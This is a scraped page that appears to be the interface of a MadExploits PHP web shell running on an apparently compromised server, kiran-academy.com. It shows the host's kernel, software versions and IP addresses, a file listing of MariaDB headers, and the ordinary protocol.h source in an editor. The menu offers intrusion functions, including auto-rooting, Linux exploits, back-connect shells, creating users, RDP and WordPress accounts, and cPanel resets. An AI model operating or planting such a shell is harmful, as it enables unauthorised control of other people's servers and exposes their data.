Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
mysql /
server /
private /
[ HOME SHELL ]
Name
Size
Permission
Action
atomic
[ DIR ]
drwxr-xr-x
aria_backup.h
1.38
KB
-rw-r--r--
authors.h
9.59
KB
-rw-r--r--
backup.h
1.21
KB
-rw-r--r--
bounded_queue.h
6.58
KB
-rw-r--r--
client_settings.h
1.89
KB
-rw-r--r--
compat56.h
2.23
KB
-rw-r--r--
config.h
14.33
KB
-rw-r--r--
contributors.h
2.92
KB
-rw-r--r--
create_options.h
4.26
KB
-rw-r--r--
custom_conf.h
1.06
KB
-rw-r--r--
datadict.h
1.61
KB
-rw-r--r--
debug_sync.h
1.71
KB
-rw-r--r--
derived_handler.h
2.32
KB
-rw-r--r--
derror.h
980
B
-rw-r--r--
des_key_file.h
1.21
KB
-rw-r--r--
discover.h
1.53
KB
-rw-r--r--
dur_prop.h
1.06
KB
-rw-r--r--
embedded_priv.h
1.47
KB
-rw-r--r--
event_data_objects.h
3.88
KB
-rw-r--r--
event_db_repository.h
3.56
KB
-rw-r--r--
event_parse_data.h
2.83
KB
-rw-r--r--
event_queue.h
3.36
KB
-rw-r--r--
event_scheduler.h
3.21
KB
-rw-r--r--
events.h
4.54
KB
-rw-r--r--
field.h
189.86
KB
-rw-r--r--
field_comp.h
1.15
KB
-rw-r--r--
filesort.h
4.7
KB
-rw-r--r--
filesort_utils.h
3.78
KB
-rw-r--r--
ft_global.h
3.04
KB
-rw-r--r--
gcalc_slicescan.h
16.87
KB
-rw-r--r--
gcalc_tools.h
11.53
KB
-rw-r--r--
group_by_handler.h
3.09
KB
-rw-r--r--
gstream.h
2.38
KB
-rw-r--r--
ha_partition.h
62.15
KB
-rw-r--r--
ha_sequence.h
5.54
KB
-rw-r--r--
handle_connections_win.h
852
B
-rw-r--r--
handler.h
178.71
KB
-rw-r--r--
hash.h
4.33
KB
-rw-r--r--
hash_filo.h
5.41
KB
-rw-r--r--
heap.h
9.23
KB
-rw-r--r--
hostname.h
5.29
KB
-rw-r--r--
ilist.h
6.84
KB
-rw-r--r--
init.h
852
B
-rw-r--r--
innodb_priv.h
1.29
KB
-rw-r--r--
item.h
248.7
KB
-rw-r--r--
item_cmpfunc.h
120.42
KB
-rw-r--r--
item_create.h
8.39
KB
-rw-r--r--
item_func.h
110.72
KB
-rw-r--r--
item_geofunc.h
28.54
KB
-rw-r--r--
item_inetfunc.h
6.56
KB
-rw-r--r--
item_jsonfunc.h
13.63
KB
-rw-r--r--
item_row.h
5.02
KB
-rw-r--r--
item_strfunc.h
58.95
KB
-rw-r--r--
item_subselect.h
52.43
KB
-rw-r--r--
item_sum.h
63.56
KB
-rw-r--r--
item_timefunc.h
53.89
KB
-rw-r--r--
item_vers.h
3.63
KB
-rw-r--r--
item_windowfunc.h
30.7
KB
-rw-r--r--
item_xmlfunc.h
3.37
KB
-rw-r--r--
key.h
2
KB
-rw-r--r--
keycaches.h
1.95
KB
-rw-r--r--
lex.h
28.37
KB
-rw-r--r--
lex_hash.h
138.65
KB
-rw-r--r--
lex_string.h
2.07
KB
-rw-r--r--
lex_symbol.h
1.29
KB
-rw-r--r--
lex_token.h
41.28
KB
-rw-r--r--
lf.h
6.31
KB
-rw-r--r--
lock.h
2.16
KB
-rw-r--r--
log.h
43.43
KB
-rw-r--r--
log_event.h
160.18
KB
-rw-r--r--
log_event_old.h
19.2
KB
-rw-r--r--
log_slow.h
1.98
KB
-rw-r--r--
maria.h
17.38
KB
-rw-r--r--
mariadb.h
1.25
KB
-rw-r--r--
mdl.h
36.08
KB
-rw-r--r--
mem_root_array.h
6.94
KB
-rw-r--r--
message.h
1.17
KB
-rw-r--r--
multi_range_read.h
22.5
KB
-rw-r--r--
my_alarm.h
2.35
KB
-rw-r--r--
my_apc.h
4.62
KB
-rw-r--r--
my_atomic.h
7.11
KB
-rw-r--r--
my_atomic_wrapper.h
2.8
KB
-rw-r--r--
my_base.h
26.27
KB
-rw-r--r--
my_bit.h
3.44
KB
-rw-r--r--
my_bitmap.h
6.07
KB
-rw-r--r--
my_check_opt.h
2.56
KB
-rw-r--r--
my_compare.h
10.93
KB
-rw-r--r--
my_context.h
6.59
KB
-rw-r--r--
my_counter.h
1.68
KB
-rw-r--r--
my_cpu.h
4.01
KB
-rw-r--r--
my_crypt.h
904
B
-rw-r--r--
my_decimal.h
13.09
KB
-rw-r--r--
my_default.h
2.47
KB
-rw-r--r--
my_handler_errors.h
4.73
KB
-rw-r--r--
my_json_writer.h
17.11
KB
-rw-r--r--
my_libwrap.h
1.16
KB
-rw-r--r--
my_md5.h
1.45
KB
-rw-r--r--
my_minidump.h
848
B
-rw-r--r--
my_nosys.h
1.4
KB
-rw-r--r--
my_rdtsc.h
7.76
KB
-rw-r--r--
my_rnd.h
1.04
KB
-rw-r--r--
my_service_manager.h
1.47
KB
-rw-r--r--
my_stacktrace.h
2.99
KB
-rw-r--r--
my_time.h
10.22
KB
-rw-r--r--
my_tree.h
3.9
KB
-rw-r--r--
my_uctype.h
67.9
KB
-rw-r--r--
my_user.h
1.1
KB
-rw-r--r--
myisam.h
16.92
KB
-rw-r--r--
myisamchk.h
4.77
KB
-rw-r--r--
myisammrg.h
4.66
KB
-rw-r--r--
myisampack.h
14.58
KB
-rw-r--r--
mysql_async.h
1.77
KB
-rw-r--r--
mysqld.h
32.14
KB
-rw-r--r--
mysqld_default_groups.h
204
B
-rw-r--r--
mysqld_suffix.h
1.17
KB
-rw-r--r--
mysys_err.h
2.81
KB
-rw-r--r--
nt_servc.h
2.94
KB
-rw-r--r--
opt_range.h
54.69
KB
-rw-r--r--
opt_subselect.h
14.16
KB
-rw-r--r--
opt_trace.h
8.11
KB
-rw-r--r--
opt_trace_context.h
3.21
KB
-rw-r--r--
parse_file.h
4.12
KB
-rw-r--r--
partition_element.h
5.09
KB
-rw-r--r--
partition_info.h
16.77
KB
-rw-r--r--
password.h
1.14
KB
-rw-r--r--
pcre.h
30.97
KB
-rw-r--r--
probes_mysql.h
973
B
-rw-r--r--
probes_mysql_dtrace.h
32.23
KB
-rw-r--r--
probes_mysql_nodtrace.h
4.89
KB
-rw-r--r--
procedure.h
5.9
KB
-rw-r--r--
protocol.h
10.95
KB
-rw-r--r--
proxy_protocol.h
548
B
-rw-r--r--
queues.h
3.46
KB
-rw-r--r--
records.h
2.93
KB
-rw-r--r--
repl_failsafe.h
1.55
KB
-rw-r--r--
replication.h
15.73
KB
-rw-r--r--
rijndael.h
1.67
KB
-rw-r--r--
rowid_filter.h
15.07
KB
-rw-r--r--
rpl_constants.h
3.28
KB
-rw-r--r--
rpl_filter.h
4.41
KB
-rw-r--r--
rpl_gtid.h
13.25
KB
-rw-r--r--
rpl_injector.h
9.41
KB
-rw-r--r--
rpl_mi.h
13.65
KB
-rw-r--r--
rpl_parallel.h
13.52
KB
-rw-r--r--
rpl_record.h
1.55
KB
-rw-r--r--
rpl_record_old.h
1.37
KB
-rw-r--r--
rpl_reporting.h
2.96
KB
-rw-r--r--
rpl_rli.h
31.89
KB
-rw-r--r--
rpl_tblmap.h
3.1
KB
-rw-r--r--
rpl_utility.h
9.32
KB
-rw-r--r--
scheduler.h
3.4
KB
-rw-r--r--
scope.h
1.76
KB
-rw-r--r--
select_handler.h
1.99
KB
-rw-r--r--
semisync.h
2.23
KB
-rw-r--r--
semisync_master.h
22.68
KB
-rw-r--r--
semisync_master_ack_receiver.h
5.73
KB
-rw-r--r--
semisync_slave.h
3.47
KB
-rw-r--r--
service_versions.h
1.91
KB
-rw-r--r--
session_tracker.h
12.81
KB
-rw-r--r--
set_var.h
15.66
KB
-rw-r--r--
slave.h
11.99
KB
-rw-r--r--
source_revision.h
67
B
-rw-r--r--
sp.h
21.69
KB
-rw-r--r--
sp_cache.h
2
KB
-rw-r--r--
sp_head.h
59.95
KB
-rw-r--r--
sp_pcontext.h
24.3
KB
-rw-r--r--
sp_rcontext.h
14
KB
-rw-r--r--
span.h
3.84
KB
-rw-r--r--
spatial.h
20.82
KB
-rw-r--r--
sql_acl.h
17.83
KB
-rw-r--r--
sql_admin.h
2.74
KB
-rw-r--r--
sql_alloc.h
1.83
KB
-rw-r--r--
sql_alter.h
11.56
KB
-rw-r--r--
sql_analyse.h
10.91
KB
-rw-r--r--
sql_analyze_stmt.h
9.64
KB
-rw-r--r--
sql_array.h
6.29
KB
-rw-r--r--
sql_audit.h
13.55
KB
-rw-r--r--
sql_base.h
24.8
KB
-rw-r--r--
sql_basic_types.h
9.23
KB
-rw-r--r--
sql_binlog.h
895
B
-rw-r--r--
sql_bitmap.h
7.95
KB
-rw-r--r--
sql_bootstrap.h
1.63
KB
-rw-r--r--
sql_cache.h
21.15
KB
-rw-r--r--
sql_callback.h
1.51
KB
-rw-r--r--
sql_class.h
236.46
KB
-rw-r--r--
sql_cmd.h
8.47
KB
-rw-r--r--
sql_connect.h
3.77
KB
-rw-r--r--
sql_const.h
10.83
KB
-rw-r--r--
sql_crypt.h
1.4
KB
-rw-r--r--
sql_cte.h
16.01
KB
-rw-r--r--
sql_cursor.h
2.26
KB
-rw-r--r--
sql_db.h
2.16
KB
-rw-r--r--
sql_debug.h
4.65
KB
-rw-r--r--
sql_delete.h
1.37
KB
-rw-r--r--
sql_derived.h
1.26
KB
-rw-r--r--
sql_digest.h
3.73
KB
-rw-r--r--
sql_digest_stream.h
1.53
KB
-rw-r--r--
sql_do.h
954
B
-rw-r--r--
sql_error.h
37.79
KB
-rw-r--r--
sql_explain.h
26.09
KB
-rw-r--r--
sql_expression_cache.h
4.23
KB
-rw-r--r--
sql_get_diagnostics.h
7.66
KB
-rw-r--r--
sql_handler.h
2.84
KB
-rw-r--r--
sql_help.h
920
B
-rw-r--r--
sql_hset.h
3.17
KB
-rw-r--r--
sql_insert.h
2.1
KB
-rw-r--r--
sql_join_cache.h
47.04
KB
-rw-r--r--
sql_lex.h
160.22
KB
-rw-r--r--
sql_lifo_buffer.h
9.26
KB
-rw-r--r--
sql_list.h
21.55
KB
-rw-r--r--
sql_load.h
1.25
KB
-rw-r--r--
sql_locale.h
2.61
KB
-rw-r--r--
sql_manager.h
960
B
-rw-r--r--
sql_mode.h
6.58
KB
-rw-r--r--
sql_parse.h
8.12
KB
-rw-r--r--
sql_partition.h
12.31
KB
-rw-r--r--
sql_partition_admin.h
5.73
KB
-rw-r--r--
sql_plist.h
7.55
KB
-rw-r--r--
sql_plugin.h
7.43
KB
-rw-r--r--
sql_plugin_compat.h
2.18
KB
-rw-r--r--
sql_prepare.h
11.14
KB
-rw-r--r--
sql_priv.h
17.05
KB
-rw-r--r--
sql_profile.h
7.51
KB
-rw-r--r--
sql_reload.h
1.01
KB
-rw-r--r--
sql_rename.h
941
B
-rw-r--r--
sql_repl.h
2.96
KB
-rw-r--r--
sql_schema.h
3.69
KB
-rw-r--r--
sql_select.h
85.38
KB
-rw-r--r--
sql_sequence.h
5.06
KB
-rw-r--r--
sql_servers.h
1.74
KB
-rw-r--r--
sql_show.h
9.11
KB
-rw-r--r--
sql_signal.h
3.28
KB
-rw-r--r--
sql_sort.h
4.32
KB
-rw-r--r--
sql_statistics.h
11.96
KB
-rw-r--r--
sql_string.h
34.27
KB
-rw-r--r--
sql_table.h
11.04
KB
-rw-r--r--
sql_tablespace.h
956
B
-rw-r--r--
sql_test.h
1.55
KB
-rw-r--r--
sql_time.h
8.18
KB
-rw-r--r--
sql_trigger.h
10.74
KB
-rw-r--r--
sql_truncate.h
2.02
KB
-rw-r--r--
sql_tvc.h
2.24
KB
-rw-r--r--
sql_type.h
250.17
KB
-rw-r--r--
sql_type_int.h
8.03
KB
-rw-r--r--
sql_type_json.h
1.34
KB
-rw-r--r--
sql_type_real.h
1.23
KB
-rw-r--r--
sql_udf.h
4.43
KB
-rw-r--r--
sql_union.h
1.04
KB
-rw-r--r--
sql_update.h
1.88
KB
-rw-r--r--
sql_view.h
2.33
KB
-rw-r--r--
sql_window.h
6.65
KB
-rw-r--r--
ssl_compat.h
3.13
KB
-rw-r--r--
strfunc.h
2.2
KB
-rw-r--r--
structs.h
24.99
KB
-rw-r--r--
sys_vars_shared.h
2.61
KB
-rw-r--r--
t_ctype.h
5.51
KB
-rw-r--r--
table.h
110.56
KB
-rw-r--r--
table_cache.h
4.44
KB
-rw-r--r--
thr_alarm.h
2.87
KB
-rw-r--r--
thr_lock.h
6.69
KB
-rw-r--r--
thr_malloc.h
1.18
KB
-rw-r--r--
thr_timer.h
1.43
KB
-rw-r--r--
thread_pool_priv.h
4.37
KB
-rw-r--r--
threadpool.h
4.38
KB
-rw-r--r--
transaction.h
1.43
KB
-rw-r--r--
tzfile.h
4.9
KB
-rw-r--r--
tztime.h
3.3
KB
-rw-r--r--
uniques.h
4.05
KB
-rw-r--r--
unireg.h
7.12
KB
-rw-r--r--
vers_string.h
2.87
KB
-rw-r--r--
vers_utils.h
155
B
-rw-r--r--
violite.h
9.54
KB
-rw-r--r--
waiting_threads.h
4.43
KB
-rw-r--r--
welcome_copyright_notice.h
1.19
KB
-rw-r--r--
win_tzname_data.h
6.35
KB
-rw-r--r--
winservice.h
1.17
KB
-rw-r--r--
wqueue.h
1.53
KB
-rw-r--r--
wsrep.h
3.23
KB
-rw-r--r--
wsrep_applier.h
2.71
KB
-rw-r--r--
wsrep_binlog.h
3.36
KB
-rw-r--r--
wsrep_client_service.h
2.31
KB
-rw-r--r--
wsrep_client_state.h
1.53
KB
-rw-r--r--
wsrep_condition_variable.h
1.42
KB
-rw-r--r--
wsrep_high_priority_service.h
4.61
KB
-rw-r--r--
wsrep_mutex.h
1.16
KB
-rw-r--r--
wsrep_mysqld.h
15.87
KB
-rw-r--r--
wsrep_mysqld_c.h
1.2
KB
-rw-r--r--
wsrep_on.h
1.68
KB
-rw-r--r--
wsrep_priv.h
1.6
KB
-rw-r--r--
wsrep_schema.h
4.57
KB
-rw-r--r--
wsrep_server_service.h
3.25
KB
-rw-r--r--
wsrep_server_state.h
2.19
KB
-rw-r--r--
wsrep_sst.h
3.86
KB
-rw-r--r--
wsrep_storage_service.h
1.69
KB
-rw-r--r--
wsrep_thd.h
10.58
KB
-rw-r--r--
wsrep_trans_observer.h
18.72
KB
-rw-r--r--
wsrep_types.h
997
B
-rw-r--r--
wsrep_utils.h
9.07
KB
-rw-r--r--
wsrep_var.h
3.96
KB
-rw-r--r--
wsrep_xid.h
1.32
KB
-rw-r--r--
xa.h
1.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : protocol.h
#ifndef PROTOCOL_INCLUDED #define PROTOCOL_INCLUDED /* Copyright (c) 2002, 2010, Oracle and/or its affiliates. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335 USA */ #ifdef USE_PRAGMA_INTERFACE #pragma interface /* gcc class implementation */ #endif #include "sql_error.h" #include "my_decimal.h" /* my_decimal */ #include "sql_type.h" class i_string; class Field; class Send_field; class THD; class Item_param; struct TABLE_LIST; typedef struct st_mysql_field MYSQL_FIELD; typedef struct st_mysql_rows MYSQL_ROWS; class Protocol { protected: String *packet; /* Used by net_store_data() for charset conversions */ String *convert; uint field_pos; #ifndef DBUG_OFF const Type_handler **field_handlers; bool valid_handler(uint pos, protocol_send_type_t type) const { return field_handlers == 0 || field_handlers[field_pos]->protocol_send_type() == type; } #endif uint field_count; virtual bool net_store_data(const uchar *from, size_t length); virtual bool net_store_data_cs(const uchar *from, size_t length, CHARSET_INFO *fromcs, CHARSET_INFO *tocs); virtual bool net_send_ok(THD *, uint, uint, ulonglong, ulonglong, const char *, bool, bool); virtual bool net_send_error_packet(THD *, uint, const char *, const char *); #ifdef EMBEDDED_LIBRARY char **next_field; MYSQL_FIELD *next_mysql_field; MEM_ROOT *alloc; #endif /* The following two are low-level functions that are invoked from higher-level store_xxx() funcs. The data is stored into this->packet. */ bool store_string_aux(const char *from, size_t length, CHARSET_INFO *fromcs, CHARSET_INFO *tocs); virtual bool send_ok(uint server_status, uint statement_warn_count, ulonglong affected_rows, ulonglong last_insert_id, const char *message, bool skip_flush); virtual bool send_eof(uint server_status, uint statement_warn_count); virtual bool send_error(uint sql_errno, const char *err_msg, const char *sql_state); public: THD *thd; Protocol(THD *thd_arg) { init(thd_arg); } virtual ~Protocol() = default; void init(THD* thd_arg); enum { SEND_NUM_ROWS= 1, SEND_EOF= 2 }; virtual bool send_result_set_metadata(List<Item> *list, uint flags); bool send_list_fields(List<Field> *list, const TABLE_LIST *table_list); bool send_result_set_row(List<Item> *row_items); bool store(I_List<i_string> *str_list); bool store(const char *from, CHARSET_INFO *cs); String *storage_packet() { return packet; } inline void free() { packet->free(); } virtual bool write(); inline bool store(int from) { return store_long((longlong) from); } inline bool store(uint32 from) { return store_long((longlong) from); } inline bool store(longlong from) { return store_longlong((longlong) from, 0); } inline bool store(ulonglong from) { return store_longlong((longlong) from, 1); } inline bool store(String *str) { return store((char*) str->ptr(), str->length(), str->charset()); } virtual bool prepare_for_send(uint num_columns) { field_count= num_columns; return 0; } virtual bool flush(); virtual void end_partial_result_set(THD *thd); virtual void prepare_for_resend()=0; virtual bool store_null()=0; virtual bool store_tiny(longlong from)=0; virtual bool store_short(longlong from)=0; virtual bool store_long(longlong from)=0; virtual bool store_longlong(longlong from, bool unsigned_flag)=0; virtual bool store_decimal(const my_decimal *)=0; virtual bool store(const char *from, size_t length, CHARSET_INFO *cs)=0; virtual bool store(const char *from, size_t length, CHARSET_INFO *fromcs, CHARSET_INFO *tocs)=0; bool store_str(const char *s, CHARSET_INFO *fromcs, CHARSET_INFO *tocs) { DBUG_ASSERT(s); return store(s, (uint) strlen(s), fromcs, tocs); } bool store_str(const LEX_CSTRING &s, CHARSET_INFO *fromcs, CHARSET_INFO *tocs) { return store(s.str, (uint) s.length, fromcs, tocs); } virtual bool store(float from, uint32 decimals, String *buffer)=0; virtual bool store(double from, uint32 decimals, String *buffer)=0; virtual bool store(MYSQL_TIME *time, int decimals)=0; virtual bool store_date(MYSQL_TIME *time)=0; virtual bool store_time(MYSQL_TIME *time, int decimals)=0; virtual bool store(Field *field)=0; virtual bool send_out_parameters(List<Item_param> *sp_params)=0; #ifdef EMBEDDED_LIBRARY bool begin_dataset(); bool begin_dataset(THD *thd, uint numfields); virtual void remove_last_row() {} #else void remove_last_row() {} #endif enum enum_protocol_type { /* Before adding a new type, please make sure there is enough storage for it in Query_cache_query_flags. */ PROTOCOL_TEXT= 0, PROTOCOL_BINARY= 1, PROTOCOL_LOCAL= 2 }; virtual enum enum_protocol_type type()= 0; virtual bool net_send_eof(THD *thd, uint server_status, uint statement_warn_count); bool net_send_error(THD *thd, uint sql_errno, const char *err, const char* sqlstate); void end_statement(); friend int send_answer_1(Protocol *protocol, String *s1, String *s2, String *s3); friend int send_header_2(Protocol *protocol, bool for_category); }; /** Class used for the old (MySQL 4.0 protocol). */ class Protocol_text :public Protocol { public: Protocol_text(THD *thd_arg, ulong prealloc= 0) :Protocol(thd_arg) { if (prealloc) packet->alloc(prealloc); } virtual void prepare_for_resend(); virtual bool store_null(); virtual bool store_tiny(longlong from); virtual bool store_short(longlong from); virtual bool store_long(longlong from); virtual bool store_longlong(longlong from, bool unsigned_flag); virtual bool store_decimal(const my_decimal *); virtual bool store(const char *from, size_t length, CHARSET_INFO *cs); virtual bool store(const char *from, size_t length, CHARSET_INFO *fromcs, CHARSET_INFO *tocs); virtual bool store(MYSQL_TIME *time, int decimals); virtual bool store_date(MYSQL_TIME *time); virtual bool store_time(MYSQL_TIME *time, int decimals); virtual bool store(float nr, uint32 decimals, String *buffer); virtual bool store(double from, uint32 decimals, String *buffer); virtual bool store(Field *field); virtual bool send_out_parameters(List<Item_param> *sp_params); #ifdef EMBEDDED_LIBRARY void remove_last_row(); #endif bool store_field_metadata(const THD *thd, const Send_field &field, CHARSET_INFO *charset_for_protocol, uint pos); bool store_item_metadata(THD *thd, Item *item, uint pos); bool store_field_metadata_for_list_fields(const THD *thd, Field *field, const TABLE_LIST *table_list, uint pos); virtual enum enum_protocol_type type() { return PROTOCOL_TEXT; }; }; class Protocol_binary :public Protocol { private: uint bit_fields; public: Protocol_binary(THD *thd_arg) :Protocol(thd_arg) {} virtual bool prepare_for_send(uint num_columns); virtual void prepare_for_resend(); #ifdef EMBEDDED_LIBRARY virtual bool write(); bool net_store_data(const uchar *from, size_t length); bool net_store_data_cs(const uchar *from, size_t length, CHARSET_INFO *fromcs, CHARSET_INFO *tocs); #endif virtual bool store_null(); virtual bool store_tiny(longlong from); virtual bool store_short(longlong from); virtual bool store_long(longlong from); virtual bool store_longlong(longlong from, bool unsigned_flag); virtual bool store_decimal(const my_decimal *); virtual bool store(const char *from, size_t length, CHARSET_INFO *cs); virtual bool store(const char *from, size_t length, CHARSET_INFO *fromcs, CHARSET_INFO *tocs); virtual bool store(MYSQL_TIME *time, int decimals); virtual bool store_date(MYSQL_TIME *time); virtual bool store_time(MYSQL_TIME *time, int decimals); virtual bool store(float nr, uint32 decimals, String *buffer); virtual bool store(double from, uint32 decimals, String *buffer); virtual bool store(Field *field); virtual bool send_out_parameters(List<Item_param> *sp_params); virtual enum enum_protocol_type type() { return PROTOCOL_BINARY; }; }; /* A helper for "ANALYZE $stmt" which looks a real network procotol but doesn't write results to the network. At first glance, class select_send looks like a more appropriate place to implement the "write nothing" hook. This is not true, because - we need to evaluate the value of every item, and do it the way select_send does it (i.e. call item->val_int() or val_real() or...) - select_send::send_data() has some other code, like telling the storage engine that the row can be unlocked. We want to keep that also. as a result, "ANALYZE $stmt" uses a select_send_analyze which still uses select_send::send_data() & co., and also uses Protocol_discard object. */ class Protocol_discard : public Protocol_text { public: Protocol_discard(THD *thd_arg) : Protocol_text(thd_arg) {} bool write() { return 0; } bool send_result_set_metadata(List<Item> *, uint) { return 0; } bool send_eof(uint, uint) { return 0; } void prepare_for_resend() { IF_DBUG(field_pos= 0,); } /* Provide dummy overrides for any storage methods so that we avoid allocating and copying of data */ bool store_null() { return false; } bool store_tiny(longlong) { return false; } bool store_short(longlong) { return false; } bool store_long(longlong) { return false; } bool store_longlong(longlong, bool) { return false; } bool store_decimal(const my_decimal *) { return false; } bool store(const char *, size_t, CHARSET_INFO *) { return false; } bool store(const char *, size_t, CHARSET_INFO *, CHARSET_INFO *) { return false; } bool store(MYSQL_TIME *, int) { return false; } bool store_date(MYSQL_TIME *) { return false; } bool store_time(MYSQL_TIME *, int) { return false; } bool store(float, uint32, String *) { return false; } bool store(double, uint32, String *) { return false; } bool store(Field *) { return false; } }; void send_warning(THD *thd, uint sql_errno, const char *err=0); void net_send_progress_packet(THD *thd); uchar *net_store_data(uchar *to,const uchar *from, size_t length); uchar *net_store_data(uchar *to,int32 from); uchar *net_store_data(uchar *to,longlong from); #endif /* PROTOCOL_INCLUDED */
Close